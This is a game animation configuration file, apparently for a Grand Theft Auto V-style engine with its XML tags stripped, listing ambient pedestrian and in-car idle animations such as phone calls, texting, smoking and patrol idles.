IgnoreLowPriShockingEvents + + + + + + + + + + + LEAF BLOWER REGISTERED + ANM_LEAF_BLOWER + + + BONETAG_R_PH_HAND + + + + + + + + + + True + + + True + LEAF_BLOWER + + + True + + + + False + + + + + + AMB@CODE_HUMAN_WANDER_GARDENER_LEAF_BLOWER@BASE + + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_GARDENER_LEAF_BLOWER@STATIC + + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_GARDENER_LEAF_BLOWER@IDLE_A + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_IDLES_COP_FEMALE + + + + + + + + + + + + + + + + False + + + True + + + + False + + + False + + + + + + AMB@CODE_HUMAN_WANDER_IDLES_COP_FEMALE@BASE + + + + False + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_IDLES_COP_FEMALE@IDLES_A + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_IDLES_COP_MALE + + + + + + + + + + + + + + + + True + + + True + + + + False + + + False + + + + + + AMB@CODE_HUMAN_WANDER_IDLES_COP_MALE@BASE + + + + False + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_IDLES_COP_MALE@IDLES_A + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_IDLES_FEMALE + + + + + + + + + + + + + + + + False + + + False + + + + False + + + + True + + + False + + + + + + + + + AMB@CODE_HUMAN_WANDER_IDLES_FEMALE@IDLES_A + + + + True + Walk + + + + + + AMB@CODE_HUMAN_WANDER_IDLES_FEMALE@IDLES_B + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_IDLES_MALE + + + + + + + + + + + + + + + + True + + + True + + + False + + + + False + + + + False + + + + + + + + + AMB@CODE_HUMAN_WANDER_IDLES_MALE@IDLES_A + + + + True + Walk + + + + + + AMB@CODE_HUMAN_WANDER_IDLES_MALE@IDLES_B + + + + True + Walk + + + + + + + + reaction@wander@interested@left + + + + True + Walk + + + True + AET_Interesting + + + True + + + + + + + + + reaction@wander@interested@right + + + + True + Walk + + + True + AET_Interesting + + + True + + + + + + + + + reaction@wander@threatened@left + + + + True + Walk + + + True + AET_Threatened + + + True + + + + + + + + + reaction@wander@threatened@right + + + + True + Walk + + + True + AET_Threatened + + + True + + + + + + + + + reaction@wander@threatening@left + + + + True + Walk + + + True + AET_Threatening + + + True + + + + + + + + + reaction@wander@threatening@right + + + + True + Walk + + + True + AET_Threatening + + + True + + + + + + + + + + + + + + + + CODE_HUMAN_WANDER_IDLES_FAT_FEMALE + + + + + + + + + + + + + + + + False + + + True + + + True + + + + False + + + + + + + + + AMB@CODE_HUMAN_WANDER_IDLES_FAT_FEMALE@IDLES_B + + + + True + Walk + + + + + + AMB@CODE_HUMAN_WANDER_IDLES_FAT_FEMALE@IDLES_A + + + + True + Walk + + + + + + + + + + + + + + CODE_HUMAN_WANDER_IDLES_FAT_MALE + + + + + + + + + + + + + + + + True + + + True + + + True + + + + False + + + + + + + + + AMB@CODE_HUMAN_WANDER_IDLES_FAT_MALE@IDLES_A + + + + True + Walk + + + + + + AMB@CODE_HUMAN_WANDER_IDLES_FAT_MALE@IDLES_B + + + + True + Walk + + + + + + + + reaction@wander@interested@left + + + + True + Walk + + + True + AET_Interesting + + + True + + + + + + + + + reaction@wander@interested@right + + + + True + Walk + + + True + AET_Interesting + + + True + + + + + + + + + reaction@wander@threatened@left + + + + True + Walk + + + True + AET_Threatened + + + True + + + + + + + + + reaction@wander@threatened@right + + + + True + Walk + + + True + AET_Threatened + + + True + + + + + + + + + reaction@wander@threatening@left + + + + True + Walk + + + True + AET_Threatening + + + True + + + + + + + + + reaction@wander@threatening@right + + + + True + Walk + + + True + AET_Threatening + + + True + + + + + + + + + + + + + + + + CODE_HUMAN_WANDER_MOBILE_FEMALE + PHONES + DestroyPropInsteadOfDrop IgnoreLowPriShockingEvents MobilePhoneConversation ForceBaseUntilIdleStreams + + + + + + + + + + + + + + False + + + False + + + + False + + + + False + + + False + TS_LOW + + + True + + + True + + + + + + AMB@CODE_HUMAN_WANDER_MOBILE_FEMALE@BASE + + + + True + PHONES + + + False + Stand + + + True + + + MobilePhoneConversation + + + AMB@CODE_HUMAN_WANDER_MOBILE_FEMALE@STATIC + + + + True + PHONES + + + True + Stand + + + True + + + MobilePhoneConversation + + + + + + + AMB@CODE_HUMAN_WANDER_MOBILE_FEMALE@ENTER + + + + True + + + True + + + True + + + MobilePhoneConversation + + + AMB@CODE_HUMAN_WANDER_MOBILE_FEMALE@EXIT + + + + False + Stand + + + False + + + True + PHONES + + + MobilePhoneConversation + + + AMB@WORLD_HUMAN_STAND_MOBILE_CALL_FEMALE@EXIT + + + + True + Stand + + + False + + + True + PHONES + + + MobilePhoneConversation + + + + + + + + + + + CODE_HUMAN_WANDER_MOBILE_MALE + PHONES + DestroyPropInsteadOfDrop IgnoreLowPriShockingEvents MobilePhoneConversation ForceBaseUntilIdleStreams + + + + + + + + + + + + + + True + + + False + + + + False + + + + False + TS_LOW + + + False + + + True + + + True + + + + + + AMB@CODE_HUMAN_WANDER_MOBILE_MALE@BASE + + + + True + PHONES + + + False + Stand + + + True + + + MobilePhoneConversation + + + AMB@CODE_HUMAN_WANDER_MOBILE_MALE@STATIC + + + + True + PHONES + + + True + Stand + + + True + + + MobilePhoneConversation + + + + + + + AMB@CODE_HUMAN_WANDER_MOBILE_MALE@ENTER + + + + True + + + True + + + True + + + MobilePhoneConversation + + + AMB@CODE_HUMAN_WANDER_MOBILE_MALE@EXIT + + + + False + Stand + + + False + + + True + PHONES + + + MobilePhoneConversation + + + AMB@WORLD_HUMAN_STAND_MOBILE_CALL_MALE@EXIT + + + + True + Stand + + + False + + + True + PHONES + + + MobilePhoneConversation + + + + + + + + + + + CODE_HUMAN_WANDER_MOBILE_FAT_FEMALE + PHONES + DestroyPropInsteadOfDrop IgnoreLowPriShockingEvents MobilePhoneConversation ForceBaseUntilIdleStreams + + + + + + + + + + + + + + False + + + True + + + + False + + + False + TS_LOW + + + True + + + True + + + + + + AMB@CODE_HUMAN_WANDER_MOBILE_FAT_FEMALE@BASE + + + + True + PHONES + + + False + Stand + + + True + + + MobilePhoneConversation + + + AMB@CODE_HUMAN_WANDER_MOBILE_FAT_FEMALE@STATIC + + + + True + PHONES + + + True + Stand + + + True + + + MobilePhoneConversation + + + + + + + AMB@CODE_HUMAN_WANDER_MOBILE_FAT_FEMALE@ENTER + + + + True + + + True + + + True + + + MobilePhoneConversation + + + AMB@CODE_HUMAN_WANDER_MOBILE_FAT_FEMALE@EXIT + + + + False + Stand + + + False + + + True + PHONES + + + MobilePhoneConversation + + + AMB@WORLD_HUMAN_STAND_MOBILE_FAT_CALL_FEMALE@EXIT + + + + True + Stand + + + False + + + True + PHONES + + + MobilePhoneConversation + + + AMB@CODE_HUMAN_WANDER_MOBILE_FAT_FEMALE@IDLE_A + + + + True + PHONES + + + False + Stand + + + True + + + MobilePhoneConversation + + + + + + + + + + + CODE_HUMAN_WANDER_MOBILE_FAT_MALE + PHONES + DestroyPropInsteadOfDrop IgnoreLowPriShockingEvents MobilePhoneConversation ForceBaseUntilIdleStreams + + + + + + + + + + + + + + True + + + True + + + + False + TS_LOW + + + False + + + True + + + True + + + + + + AMB@CODE_HUMAN_WANDER_MOBILE_FAT_MALE@BASE + + + + True + PHONES + + + False + Stand + + + True + + + MobilePhoneConversation + + + AMB@CODE_HUMAN_WANDER_MOBILE_FAT_MALE@STATIC + + + + True + PHONES + + + True + Stand + + + True + + + MobilePhoneConversation + + + + + + + AMB@CODE_HUMAN_WANDER_MOBILE_FAT_MALE@ENTER + + + + True + + + True + + + True + + + MobilePhoneConversation + + + AMB@CODE_HUMAN_WANDER_MOBILE_FAT_MALE@EXIT + + + + False + Stand + + + False + + + True + PHONES + + + MobilePhoneConversation + + + AMB@WORLD_HUMAN_STAND_MOBILE_FAT_CALL_MALE@EXIT + + + + True + Stand + + + False + + + True + PHONES + + + MobilePhoneConversation + + + AMB@CODE_HUMAN_WANDER_MOBILE_FAT_MALE@IDLE_A + + + + True + PHONES + + + False + Stand + + + True + + + MobilePhoneConversation + + + + + + + + + + + CODE_HUMAN_WANDER_TEXTING_FEMALE + PHONES + DestroyPropInsteadOfDrop IgnoreLowPriShockingEvents + + + + + + + + + + + + + + False + + + False + + + + False + + + + False + TS_LOW + + + False + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FEMALE@BASE + + + + True + PHONES + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FEMALE@STATIC + + + + True + PHONES + + + True + Stand + + + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FEMALE@ENTER + + + + False + PHONES + + + False + Stand + + + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FEMALE@EXIT + + + + True + PHONES + + + False + Stand + + + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FEMALE@IDLES_A + + + + True + PHONES + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FEMALE@IDLES_B + + + + True + PHONES + + + False + Stand + + + True + + + + + + + + + + + + + + + CODE_HUMAN_WANDER_TEXTING_MALE + PHONES + DestroyPropInsteadOfDrop IgnoreLowPriShockingEvents + + + + + + + + + + + + + + True + + + False + + + + False + + + + False + TS_LOW + + + False + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_MALE@BASE + + + + True + PHONES + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_MALE@STATIC + + + + True + PHONES + + + True + Stand + + + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_MALE@ENTER + + + + False + PHONES + + + False + Stand + + + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_MALE@EXIT + + + + True + PHONES + + + False + Stand + + + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_MALE@IDLES_A + + + + True + PHONES + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_TEXTING_FAT_FEMALE + PHONES + DestroyPropInsteadOfDrop IgnoreLowPriShockingEvents + + + + + + + + + + + + + + False + + + True + + + + False + TS_LOW + + + False + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FAT_FEMALE@BASE + + + + True + PHONES + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FAT_FEMALE@STATIC + + + + True + PHONES + + + True + Stand + + + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FAT_FEMALE@ENTER + + + + False + PHONES + + + False + Stand + + + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FAT_FEMALE@EXIT + + + + True + PHONES + + + False + Stand + + + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FAT_FEMALE@IDLES_A + + + + True + PHONES + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_TEXTING_FAT_MALE + PHONES + DestroyPropInsteadOfDrop IgnoreLowPriShockingEvents + + + + + + + + + + + + + + True + + + True + + + + False + TS_LOW + + + False + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FAT_MALE@BASE + + + + True + PHONES + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FAT_MALE@STATIC + + + + True + PHONES + + + True + Stand + + + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FAT_MALE@ENTER + + + + False + PHONES + + + False + Stand + + + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FAT_MALE@EXIT + + + + True + PHONES + + + False + Stand + + + + + + + + AMB@CODE_HUMAN_WANDER_TEXTING_FAT_MALE@IDLES_A + + + + True + PHONES + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_MUSIC_LISTEN_FEMALE + PHONES + SpawnPropInLeftHand DestroyPropInsteadOfDrop + + + + + + + + + + + + + + False + + + False + AFF_POOR + + + False + TS_LOW + + + False + + + + + + AMB@CODE_HUMAN_WANDER_MUSIC_LISTEN_FEMALE@BASE + + + + True + PHONES + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_MUSIC_LISTEN_FEMALE@STATIC + + + + True + PHONES + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_MUSIC_LISTEN_FEMALE@IDLES_A + + + + True + PHONES + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_MUSIC_LISTEN_MALE + PHONES + SpawnPropInLeftHand DestroyPropInsteadOfDrop + + + + + + + + + + + + + + True + + + False + AFF_POOR + + + False + TS_LOW + + + False + + + + + + AMB@CODE_HUMAN_WANDER_MUSIC_LISTEN_MALE@BASE + + + + True + PHONES + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_MUSIC_LISTEN_MALE@STATIC + + + + True + PHONES + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_MUSIC_LISTEN_MALE@IDLES_A + + + + True + PHONES + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_PURSE + PURSE + DestroyPropInsteadOfDrop IgnoreLowPriShockingEvents + + + + + + + + + + + + + + False + + + False + + + + True + PURSE + + + False + AFF_POOR + + + False + + + + + + AMB@CODE_HUMAN_WANDER_PURSE@BASE + + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_PURSE@STATIC + + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_PURSE@IDLES_A + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_RAIN_FEMALE + + + + + + + + + + + + + + + + False + + + False + + + + False + + + + True + + + True + + + + + + AMB@CODE_HUMAN_WANDER_RAIN_FEMALE@BASE + + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_RAIN_FEMALE@STATIC + + + + True + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_RAIN_FEMALE@IDLE_A + + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_RAIN_FEMALE@IDLE_B + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_RAIN_MALE_A + + + + + + + + + + + + + + + + True + + + False + + + + False + + + + True + + + True + + + + + + AMB@CODE_HUMAN_WANDER_RAIN_MALE_A@BASE + + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_RAIN_MALE_A@STATIC + + + + True + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_RAIN_MALE_A@IDLE_A + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_RAIN_MALE_B + + + + + + + + + + + + + + + + True + + + False + + + + False + + + + True + + + True + + + + + + AMB@CODE_HUMAN_WANDER_RAIN_MALE_B@BASE + + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_RAIN_MALE_B@STATIC + + + + True + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_RAIN_MALE_B@IDLE_A + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_SMOKING_FAT_FEMALE + CIGARETTES + + + + + + + + + + + + cigarette + ANM_CIG_SMOKE + + + BONETAG_R_PH_HAND + + + + + + exhale + ANM_CIG_EXHALE_MTH + + + BONETAG_HEAD + + + + + + exhale_nose + ANM_CIG_EXHALE_NSE + + + BONETAG_HEAD + + + + + + + + + + False + + + True + + + + True + CIGARETTES + + + False + + + + + + AMB@CODE_HUMAN_WANDER_SMOKING_FAT_FEMALE@BASE + + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_SMOKING_FAT_FEMALE@STATIC + + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_SMOKING_FAT_FEMALE@IDLE_A + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_SMOKING_FAT_MALE + CIGARETTES + + + + + + + + + + + + cigarette + ANM_CIG_SMOKE + + + BONETAG_R_PH_HAND + + + + + + exhale + ANM_CIG_EXHALE_MTH + + + BONETAG_HEAD + + + + + + exhale_nose + ANM_CIG_EXHALE_NSE + + + BONETAG_HEAD + + + + + + + + + + True + + + True + + + + True + CIGARETTES + + + False + + + + + + AMB@CODE_HUMAN_WANDER_SMOKING_FAT_MALE@BASE + + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_SMOKING_FAT_MALE@STATIC + + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_SMOKING_FAT_MALE@IDLE_A + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_SMOKING_FEMALE + CIGARETTES + + + + + + + + + + + + cigarette + ANM_CIG_SMOKE + + + BONETAG_R_PH_HAND + + + + + + exhale + ANM_CIG_EXHALE_MTH + + + BONETAG_HEAD + + + + + + exhale_nose + ANM_CIG_EXHALE_NSE + + + BONETAG_HEAD + + + + + + + + + + False + + + True + CIGARETTES + + + False + + + + False + + + + False + + + + + + AMB@CODE_HUMAN_WANDER_SMOKING_FEMALE@BASE + + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_SMOKING_FEMALE@STATIC + + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_SMOKING_FEMALE@IDLE_A + + + + False + Stand + + + + + + + + + + + + + + CODE_HUMAN_WANDER_SMOKING_MALE + CIGARETTES + + + + + + + + + + + + cigarette + ANM_CIG_SMOKE + + + BONETAG_R_PH_HAND + + + + + + exhale + ANM_CIG_EXHALE_MTH + + + BONETAG_HEAD + + + + + + exhale_nose + ANM_CIG_EXHALE_NSE + + + BONETAG_HEAD + + + + + + + + + + True + + + True + CIGARETTES + + + False + + + + False + + + + False + + + + + + AMB@CODE_HUMAN_WANDER_SMOKING_MALE@BASE + + + + False + Stand + + + + + + AMB@CODE_HUMAN_WANDER_SMOKING_MALE@STATIC + + + + True + Stand + + + + + + + + + + AMB@CODE_HUMAN_WANDER_SMOKING_MALE@IDLE_A + + + + False + Stand + + + + + + + + + + + + + + + + WANDER_SCRIPTED + + + CODE_HUMAN_WANDER_MOBILE_MALE_SCRIPTED + PHONES + DestroyPropInsteadOfDrop IgnoreLowPriShockingEvents MobilePhoneConversation ForceBaseUntilIdleStreams + + + + + + + + + + + + + + True + + + + + + AMB@CODE_HUMAN_WANDER_MOBILE_MALE@BASE + + + + True + PHONES + + + False + Stand + + + MobilePhoneConversation + + + AMB@CODE_HUMAN_WANDER_MOBILE_MALE@STATIC + + + + True + PHONES + + + True + Stand + + + MobilePhoneConversation + + + + + + + AMB@CODE_HUMAN_WANDER_MOBILE_MALE@ENTER + + + + True + + + MobilePhoneConversation + + + + + + + + + + + + + WANDER_ANIMAL + + + + IN_CAR + + + + IN_CAR_STANDARD + + + CODE_HUMAN_IN_CAR_IDLES_STD_DRIVER + + + + + + + + + + + + + + + + True + + + False + + + + True + + + + True + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_DRIVER@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_DRIVER@IDLES_A + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_DRIVER@IDLES_B + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_DRIVER@IDLES_C + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_DRIVER@IDLES_D + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_IDLES_STD_LOWRIDER_ARM_DRIVER + + + + + + + + + + + + + + + + True + + + False + + + + True + + + + True + + + False + + + True + + + + + + ANIM@AMB@CODE_HUMAN_IN_CAR_IDLES@ARM@GENERIC@DS@BASE + + + + + + + + + + ANIM@AMB@CODE_HUMAN_IN_CAR_IDLES@ARM@GENERIC@DS@IDLE_A + + + + + + ANIM@AMB@CODE_HUMAN_IN_CAR_IDLES@ARM@GENERIC@DS@IDLE_B + + + + + + ANIM@AMB@CODE_HUMAN_IN_CAR_IDLES@ARM@GENERIC@DS@IDLE_C + + + + + + ANIM@AMB@CODE_HUMAN_IN_CAR_IDLES@ARM@GENERIC@DS@IDLE_D + + + + + + ANIM@AMB@CODE_HUMAN_IN_CAR_IDLES@ARM@GENERIC@DS@IDLE_E + + + + + + ANIM@AMB@CODE_HUMAN_IN_CAR_IDLES@ARM@GENERIC@DS@IDLE_F + + + + + + ANIM@AMB@CODE_HUMAN_IN_CAR_IDLES@ARM@GENERIC@DS@IDLE_G + + + + + + ANIM@AMB@CODE_HUMAN_IN_CAR_IDLES@ARM@GENERIC@DS@IDLE_H + + + + + + ANIM@AMB@CODE_HUMAN_IN_CAR_IDLES@ARM@GENERIC@DS@IDLE_I + + + + + + ANIM@AMB@CODE_HUMAN_IN_CAR_IDLES@ARM@GENERIC@DS@IDLE_J + + + + + + ANIM@AMB@CODE_HUMAN_IN_CAR_IDLES@ARM@GENERIC@DS@IDLE_K + + + + + + ANIM@AMB@CODE_HUMAN_IN_CAR_IDLES@ARM@GENERIC@DS@IDLE_L + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_IDLES_STD_PASSENGER + + + + + + + + + + + + + + + + True + + + False + + + + True + + + + True + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_PASSENGER@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_PASSENGER@IDLES_A + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_PASSENGER@IDLES_B + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_PASSENGER@IDLES_C + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_PASSENGER@IDLES_D + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_PASSENGER@IDLES_E + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_IDLES_STD_REAR_DRIVER_SIDE + + + + + + + + + + + + + + + + True + + + False + + + + True + + + + True + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_REAR_DRIVER_SIDE@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_REAR_DRIVER_SIDE@IDLES_A + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_REAR_DRIVER_SIDE@IDLES_B + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_REAR_DRIVER_SIDE@IDLES_C + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_REAR_DRIVER_SIDE@IDLES_D + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_REAR_DRIVER_SIDE@IDLES_E + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_IDLES_STD_REAR_PASSENGER_SIDE + + + + + + + + + + + + + + + + True + + + False + + + + True + + + + True + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_REAR_PASSENGER_SIDE@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_REAR_PASSENGER_SIDE@IDLES_A + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_REAR_PASSENGER_SIDE@IDLES_B + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_REAR_PASSENGER_SIDE@IDLES_C + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_REAR_PASSENGER_SIDE@IDLES_D + + + + + + AMB@CODE_HUMAN_IN_CAR_IDLES_STD_REAR_PASSENGER_SIDE@IDLES_E + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_MUSIC_DRIVER + + + + + + + + + + + + + + + + True + + + True + + + False + + + + True + + + True + + + + True + + + False + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_MUSIC_DRIVER@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_CAR_MUSIC_DRIVER@IDLES_A + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_MUSIC_PASSENGER + + + + + + + + + + + + + + + + True + + + True + + + False + + + + True + + + True + + + + True + + + False + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_MUSIC_PASSENGER@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_CAR_MUSIC_PASSENGER@IDLES_A + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_MUSIC_REAR_DRIVER_SIDE + + + + + + + + + + + + + + + + True + + + True + + + False + + + + True + + + True + + + + True + + + False + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_MUSIC_REAR_DRIVER_SIDE@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_CAR_MUSIC_REAR_DRIVER_SIDE@IDLES_A + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_MUSIC_REAR_PASSENGER_SIDE + + + + + + + + + + + + + + + + True + + + True + + + False + + + + True + + + True + + + + True + + + False + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_MUSIC_REAR_PASSENGER_SIDE@BASE + + + + + + + + + + AMB@CODE_HUMAN_IN_CAR_MUSIC_REAR_PASSENGER_SIDE@IDLES_A + + + + + + + + + + + + + + CODE_HUMAN_PATROL_DS + + + + + + + + + + + + + + + + True + + + True + + + True + + + + True + + + + True + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_PATROL_DS@BASE + + + + + + + + AMB@CODE_HUMAN_IN_CAR_PATROL_DS@ENTER + + + + + + + + AMB@CODE_HUMAN_IN_CAR_PATROL_DS@EXIT + + + + + + + + AMB@CODE_HUMAN_IN_CAR_PATROL_DS@IDLES_A + + + + + + AMB@CODE_HUMAN_IN_CAR_PATROL_DS@IDLES_B + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_PATROL_PS + + + + + + + + + + + + + + + + True + + + True + + + True + + + + False + + + + True + + + False + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_PATROL_PS@BASE + + + + + + + + AMB@CODE_HUMAN_IN_CAR_PATROL_PS@ENTER + + + + + + + + AMB@CODE_HUMAN_IN_CAR_PATROL_PS@EXIT + + + + + + + + AMB@CODE_HUMAN_IN_CAR_PATROL_PS@IDLES_A + + + + + + AMB@CODE_HUMAN_IN_CAR_PATROL_PS@IDLES_B + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_SMOKING + CIGARETTES + + + + + + + + + + + + SMOKING_IN_CAR_REGISTERED + ANM_CIG_SMOKE_CAR + + + BONETAG_R_PH_HAND + + + + + + exhale + ANM_CIG_EXHALE_MTH_CAR + + + BONETAG_HEAD + + + + + + + + + + True + + + False + + + + False + + + + False + + + + False + + + + False + + + + True + + + False + + + True + + + True + WEAPON_UNARMED + + + True + Object + + + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_SMOKING@BASE + + + + True + CIGARETTES + + + + + + + + AMB@CODE_HUMAN_IN_CAR_SMOKING@ENTER + + + + True + + + + + + + + AMB@CODE_HUMAN_IN_CAR_SMOKING@EXIT + + + + True + CIGARETTES + + + + + + + + AMB@CODE_HUMAN_IN_CAR_SMOKING@IDLES_A + + + + True + CIGARETTES + + + + + + AMB@CODE_HUMAN_IN_CAR_SMOKING@IDLES_B + + + + True + CIGARETTES + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_SMOKING_WEED + JOINT + + + + + + + + + + + + SMOKING_IN_CAR_REGISTERED + ANM_WEED_SMOKE + + + BONETAG_R_PH_HAND + + + + + + exhale + ANM_CIG_EXHALE_MTH_CAR + + + BONETAG_HEAD + + + + + + + + + + True + + + True + + + TRUE + + + + TRUE + + + + + + False + + + + False + + + + True + + + False + + + True + + + True + WEAPON_UNARMED + + + True + Object + + + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_SMOKING@BASE + + + + True + JOINT + + + + + + + + AMB@CODE_HUMAN_IN_CAR_SMOKING@ENTER + + + + True + + + + + + + + AMB@CODE_HUMAN_IN_CAR_SMOKING@EXIT + + + + True + JOINT + + + + + + + + AMB@CODE_HUMAN_IN_CAR_SMOKING@IDLES_A + + + + True + JOINT + + + + + + AMB@CODE_HUMAN_IN_CAR_SMOKING@IDLES_B + + + + True + JOINT + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_PATROL_TORCH + TORCH + + + + + + + + + + + + + + + True + + + True + + + + True + + + + True + 0 1 2 3 4 5 22 23 + + + True + + + False + + + False + + + False + + + + + + AMB@CODE_HUMAN_IN_CAR_PATROL_TORCH@BASE + + + + True + TORCH + + + + + + + + AMB@CODE_HUMAN_IN_CAR_PATROL_TORCH@ENTER + + + + True + + + + + + + + AMB@CODE_HUMAN_IN_CAR_PATROL_TORCH@EXIT + + + + True + TORCH + + + + + + + + AMB@CODE_HUMAN_IN_CAR_PATROL_TORCH@IDLES_A + + + + True + TORCH + + + + + + AMB@CODE_HUMAN_IN_CAR_PATROL_TORCH@IDLES_B + + + + True + TORCH + + + + + + + + + + + + + + CODE_HUMAN_IN_CAR_MUSIC_HEADBOB_DRIVER + + + + + + + + + + + + + + + + True + + + True + + + True + + + True + + + + False + + + + + + HEADBOB_DRIVER_GENERIC_BASE + + + + True + GENRE_GENERIC + + + + + + HEADBOB_DRIVER_COUNTRY_BASE + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_DRIVER_HIPHOP_BASE + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_DRIVER_MEXICAN_BASE + + + + True + GENRE_MEXICAN + + + + + + HEADBOB_DRIVER_MOTOWN_BASE + + + + True + GENRE_MOTOWN + + + + + + HEADBOB_DRIVER_PUNK_BASE + + + + True + GENRE_PUNK + + + + + + + + + + HEADBOB_DRIVER_GENERIC_IDLE_A + + + + True + GENRE_GENERIC + + + + + + HEADBOB_DRIVER_COUNTRY_IDLE_A + + + + True + GENRE_COUNTRY + + + + + + HEADBOB_DRIVER_HIPHOP_IDLE_A + + + + True + GENRE_HIPHOP + + + + + + HEADBOB_DRIVER_MEXICAN_IDLE_A + + + + True + GENRE_MEXICAN + + + + + + 